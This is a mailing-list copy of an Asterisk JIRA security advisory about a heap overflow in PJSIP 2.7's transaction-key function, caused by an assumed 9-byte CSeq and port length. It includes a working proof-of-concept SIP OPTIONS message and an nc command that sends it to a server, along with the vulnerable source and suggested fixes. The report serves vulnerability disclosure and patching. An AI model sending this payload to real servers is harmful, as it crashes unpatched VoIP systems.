[asterisk-bugs] [JIRA] (ASTERISK-27319) (Security) Function in PJSIP 2.7 miscalculates the length of an unsigned long variable in 64bit machines

Asterisk Team (JIRA) noreply at issues.asterisk.org
Wed Dec 20 14:32:12 CST 2017


     [ https://issues.asterisk.org/jira/browse/ASTERISK-27319?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Asterisk Team updated ASTERISK-27319:
-------------------------------------

    Target Release Version/s: 15.2.0

> (Security) Function in PJSIP 2.7 miscalculates the length of an unsigned long variable in 64bit machines
> --------------------------------------------------------------------------------------------------------
>
>                 Key: ASTERISK-27319
>                 URL: https://issues.asterisk.org/jira/browse/ASTERISK-27319
>             Project: Asterisk
>          Issue Type: Bug
>            Reporter: Kim youngsung
>            Assignee: George Joseph
>              Labels: pjsip
>      Target Release: 13.15.1, 13.19.0, 14.7.1, 15.1.1, 15.2.0
>
>         Attachments: gdb_crash.dump, heapoverflow.png, PJSIP_pool.png, poc_asterisk_small
>
>
> h3. +Test environment
> Asterisk : asterisk-15-current (The latest)
> PJSIP : pjproject 2.7 (2.6 also affected)
> OS : CentOS 7.3
> Kernel : Linux 3.10.0-514.26.2.el7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
> h3. +How to reproduce the issue
> Send the attached PoC sip message to the server.
> $ cat poc_asterisk_small | nc -u server_ip_addr 5060
> {code}
> OPTIONS sip:3 SIP/2.0
> f: <sip:2>
> t: <sip:1>
> i: a
> CSeq: 18446744073709551614 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> v: SIP/2.0/U 4:18446744073709551614
> {code}
> h3. +The root cause of the vulnerability
> In the `create_tsx_key_2543` function, it assume that the length of `CSeq number` and `Via port` are 9 bytes respectively, but the maximum of unsigned long is 0xFFFFFFFFFFFFFFFF in 64bit machines and it becomes 20 bytes length in decimal(18446744073709551615).
> This mistake could be found in many places in the PJSIP source code. 
> *Note that implicit casting occurs internally when you call pj_utoa (especially sign expansion occurs for negative integer).
> h3. +Related Source Code
> {code}
> typedef struct pjsip_cseq_hdr
> {
>     PJSIP_DECL_HDR_MEMBER(struct pjsip_cseq_hdr);
>     pj_int32_t	    cseq;	/**< CSeq number. */
>     pjsip_method    method;	/**< CSeq method. */
> } pjsip_cseq_hdr;
> typedef struct pjsip_via_hdr
> {
>  ...
>     int		     rport_param;   /**< "rport" parameter, 0 to specify without
> 					 port number, -1 means doesn't exist. */
>  ...
> } pjsip_via_hdr;
> static pj_status_t create_tsx_key_2543( ... )
> {
> ...
>     /* Calculate length required. */
>     len_required = method->name.slen +      /* Method */ 
>                    9 +                      /* CSeq number */
>                    ...
>                    9 +                      /* Via port. */
>                    16;                      /* Separator+Allowance. */
>     key = p = (char*) pj_pool_alloc(pool, len_required);
> ...
>     /* Add CSeq (only the number). */
>     len = pj_utoa(rdata->msg_info.cseq->cseq, p);		// struct pjsip_cseq_hdr
>     p += len;
>     *p++ = SEPARATOR;
> ...
>     len = pj_utoa(rdata->msg_info.via->sent_by.port, p); // struct pjsip_via_hdr
>     p += len;
>     *p++ = SEPARATOR;
>     *p++ = '\0';
> ...
>     return PJ_SUCCESS;
> }
> PJ_DEF(int) pj_utoa(unsigned long val, char *buf)
> {
> 	// Type casting from int to unsigned long
> 	// Negative integers are changed to large unsigned longs.
> 	// On a 64 bit machine, it is 16 bytes in size.
> 	// Max unsigned long = 0xFFFFFFFFFFFFFFFF = 18446744073709551615
>     return pj_utoa_pad(val, buf, 0, 0);
> }
> PJ_DEF(int) pj_utoa_pad( unsigned long val, char *buf, int min_dig, int pad)
> {
>     char *p;
>     int len;
>     PJ_CHECK_STACK();
>     p = buf;
>     do {
>         unsigned long digval = (unsigned long) (val % 10);
>         val /= 10;
>         *p++ = (char) (digval + '0');
>     } while (val > 0);
>     len = (int)(p-buf);
>     while (len < min_dig) {
>         *p++ = (char)pad;
>         ++len;
>     }
>     *p-- = '\0';
>     do {
>         char temp = *p;
>         *p = *buf;
>         *buf = temp;
>         --p;
>         ++buf;
>     } while (buf < p);
>     return len;
> }
> {code}
> h3. +Suggested solution
> 1. Add length check logic in pj_utoa_pad functoin's while loop by passing the allowed length to pj_utoa and pj_utoa_pad. 
> 2. Change the type of `cseq` and `port number` from signed integer to unsigned integer.



--
This message was sent by Atlassian JIRA
(v6.2#6252)



More information about the asterisk-bugs mailing list